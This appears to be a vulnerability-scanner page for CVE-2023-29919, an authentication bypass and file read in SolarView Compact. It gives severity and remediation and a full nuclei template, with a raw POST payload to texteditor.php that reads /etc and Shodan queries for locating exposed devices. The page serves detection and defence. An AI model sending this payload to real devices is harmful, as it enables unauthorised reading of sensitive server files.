SolarView Compact <= 6.00 - Local File Inclusion

criticalseverity

9.1CVSS score

60.2%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

There is an arbitrary read file vulnerability in SolarView Compact 6.00 and below, attackers can bypass authentication to read files through texteditor.php

Impact

An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.

Fix

Upgrade to a patched version of SolarView Compact or apply the vendor-provided security patch to mitigate the LFI vulnerability.

How to confirm it

Send: POST /texteditor.php
Positive when: contains "action=\"texteditor.php\"" and "adduser.conf" and "deluser.conf" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2023-29919 -u <target>

The full check

id: CVE-2023-29919

info:
  name: SolarView Compact <= 6.00 - Local File Inclusion
  author: For3stCo1d
  severity: critical
  description: |
    There is an arbitrary read file vulnerability in SolarView Compact 6.00 and below, attackers can bypass authentication to read files through texteditor.php
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Upgrade to a patched version of SolarView Compact or apply the vendor-provided security patch to mitigate the LFI vulnerability.
  reference:
    - https://github.com/xiaosed/CVE-2023-29919
    - https://nvd.nist.gov/vuln/detail/CVE-2023-29919
    - https://www.solarview.io/
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2023-29919
    cwe-id: CWE-276
    epss-score: 0.60221
    epss-percentile: 0.99145
    cpe: cpe:2.3:h:contec:solarview_compact:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: contec
    product: solarview_compact
    shodan-query:
      - http.html:"SolarView Compact"
      - cpe:"cpe:2.3:h:contec:solarview_compact"
  tags: cve,cve2023,lfi,solarview,edb,contec,vkev,vuln

http:
  - raw:
      - |
        POST /texteditor.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        directory=%2F/etc&open=%8AJ%82%AD&r_charset=none&newfile=&editfile=%2Fhome%2Fcontec%2Fdata%2FoutputCtrl%2Fremote%2F2016%2F

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'action="texteditor.php"'
          - 'adduser.conf'
          - 'deluser.conf'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from